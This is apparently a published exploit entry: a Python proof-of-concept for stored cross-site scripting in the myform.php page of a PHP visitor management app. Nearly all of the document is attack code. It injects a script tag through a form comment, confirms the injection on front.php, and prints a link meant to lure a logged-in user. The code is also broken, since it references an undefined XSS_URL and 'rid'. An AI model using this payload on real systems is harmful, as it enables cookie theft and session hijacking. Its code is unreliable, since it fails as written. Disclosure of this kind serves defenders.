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Visitor Management System in PHP 1.0 - Persistent Cross-Site Scripting


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# Title: Visitor Management System in PHP 1.0 - Persistent Cross-Site Scripting
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: https://projectworlds.in
# Software Link: https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-in-PHP.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: N/A
# Description: The file myform.php does not perform input validation on the request paramters. An attacker can inject javascript payloads in the parameters to perform various attacks suchs as stealing of cookies,sensitive information etc.

import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
import random
import string

def print_usage(STRING):
    return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
        print print_usage("Example:\t python %s ''" % sys.argv[0])
    SERVER_URL = sys.argv[1]
    XSS_DIR = '/myform.php'
    XSS_PoC_URL = SERVER_URL + '/front.php'

    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    payload   = {'name': 'd3crypt','cno':'9876543210','purpose':'stored xss','MeetingTo':'Hack','comment':'<script>alert("xss")</script>','submit_post':'Submit','mydata':''}
    r1 = s.post(url=XSS_URL, data=payload, verify=False)
    r2 = s.get(XSS_PoC_URL, allow_redirects=False, verify=False)
    response_page = r2.content.decode("utf-8")
    parser = etree.HTMLParser()
    tree = etree.parse(StringIO(response_page), parser=parser)
    def get_links(tree):
        refs = tree.xpath("//a")
        links = [link.get('data-content', '') for link in refs]
        return [l for l in links]

    visitors = get_links(tree)

    for visitor in visitors:
        if 'stored xss' in visitor:
            print print_usage('Make the logged-in user click this URL: ' + XSS_PoC_URL + '?rid=' + rid)
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